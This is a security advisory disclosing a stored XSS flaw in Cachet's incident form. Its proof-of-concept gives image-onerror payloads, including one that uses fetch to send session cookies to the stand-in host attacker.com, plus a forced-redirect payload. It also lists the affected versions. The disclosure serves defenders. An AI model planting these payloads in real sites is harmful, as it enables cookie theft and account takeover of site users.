Cachet has Stored XSS in Incident Component
The advisory, in context
Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.
Details
The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.
Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3
PoC
- Log in as an authenticated user
- Navigate to /dashboard/incidents/
- Create a new incident
- Insert the following payloads in the Name and Message field:
Payload 1 — Confirm XSS execution:
<img src=x onerror="alert(1)">
Step 2 — Cookie/token exfiltration:
<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">
Step 3 — Forced redirect to sensitive page:
<img src=x onerror="window.location='/dashboard/manage-customization'">
- Save the incident
- Navigate to the public status page
- Payload executes in the victim's browser
Payload 1
<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />
Payload 2
<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />
Stored XSS affecting all users who view the public status page.
An attacker can:
- Confirm script execution via alert popup
- Steal session cookies and XSRF tokens from authenticated users
- Silently redirect victims to sensitive pages like
/dashboard/manage-customization
This vulnerability could lead to full account takeover of any user who views the status page, including administrators.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases through 2.4.1 (inclusive)
No fix recorded for this interval.
56 explicitly affected versions
v0.1.0-alpha, v1.0.0, v1.1.0, v1.1.1, v1.2.0, v1.2.1, v2.0.0, v2.0.0-RC1, v2.0.0-RC2, v2.0.0-RC3, v2.0.0-RC4, v2.0.0-RC5, v2.0.0-beta1, v2.0.0-beta2, v2.0.1, v2.0.2, v2.0.3, v2.0.4, v2.1.0, v2.1.0-RC1, v2.1.0-RC2, v2.1.1, v2.1.2, v2.2.0, v2.2.0-RC1, v2.2.1, v2.2.2, v2.2.3, v2.2.4, v2.3.0, v2.3.0-RC1, v2.3.0-RC2, v2.3.0-RC3, v2.3.0-RC4, v2.3.0-RC5, v2.3.0-RC6, v2.3.1, v2.3.10, v2.3.11, v2.3.12, v2.3.13, v2.3.14, v2.3.15, v2.3.16, v2.3.17, v2.3.18, v2.3.2, v2.3.3, v2.3.4, v2.3.5, v2.3.6, v2.3.7, v2.3.8, v2.3.9, v2.4.0, v2.4.1
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.4.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"v0.1.0-alpha",
"v1.0.0",
"v1.1.0",
"v1.1.1",
"v1.2.0",
"v1.2.1",
"v2.0.0",
"v2.0.0-RC1",
"v2.0.0-RC2",
"v2.0.0-RC3",
"v2.0.0-RC4",
"v2.0.0-RC5",
"v2.0.0-beta1",
"v2.0.0-beta2",
"v2.0.1",
"v2.0.2",
"v2.0.3",
"v2.0.4",
"v2.1.0",
"v2.1.0-RC1",
"v2.1.0-RC2",
"v2.1.1",
"v2.1.2",
"v2.2.0",
"v2.2.0-RC1",
"v2.2.1",
"v2.2.2",
"v2.2.3",
"v2.2.4",
"v2.3.0",
"v2.3.0-RC1",
"v2.3.0-RC2",
"v2.3.0-RC3",
"v2.3.0-RC4",
"v2.3.0-RC5",
"v2.3.0-RC6",
"v2.3.1",
"v2.3.10",
"v2.3.11",
"v2.3.12",
"v2.3.13",
"v2.3.14",
"v2.3.15",
"v2.3.16",
"v2.3.17",
"v2.3.18",
"v2.3.2",
"v2.3.3",
"v2.3.4",
"v2.3.5",
"v2.3.6",
"v2.3.7",
"v2.3.8",
"v2.3.9",
"v2.4.0",
"v2.4.1"
]
}